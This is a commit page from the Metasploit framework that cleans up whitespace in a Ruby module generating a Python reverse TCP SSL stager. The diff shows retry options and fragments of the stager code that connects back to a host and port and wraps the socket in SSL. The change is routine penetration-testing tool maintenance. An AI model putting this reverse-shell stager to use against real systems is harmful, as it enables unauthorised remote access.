Skip to content

Commit a953d94

Browse files
committed
Minor white space cleanups for PR rapid7#8340
1 parent 39cee48 commit a953d94

File tree

1 file changed

+3
-5
lines changed

1 file changed

+3
-5
lines changed

lib/msf/core/payload/python/reverse_tcp_ssl.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,11 +19,9 @@ def initialize(*args)
1919
super
2020
register_advanced_options([
2121
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
22-
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts',5])
22+
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
2323
], self.class)
2424
end
25-
26-
2725

2826
#
2927
# Generate the first stage
@@ -59,8 +57,8 @@ def generate_reverse_tcp_ssl(opts={})
5957
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
6058
cmd << "s=ssl.wrap_socket(so)\n"
6159
else
62-
if opts[:retry_count]>0
63-
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
60+
if opts[:retry_count] > 0
61+
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
6462
else
6563
cmd << "while 1:\n"
6664
end

0 commit comments

Comments
 (0)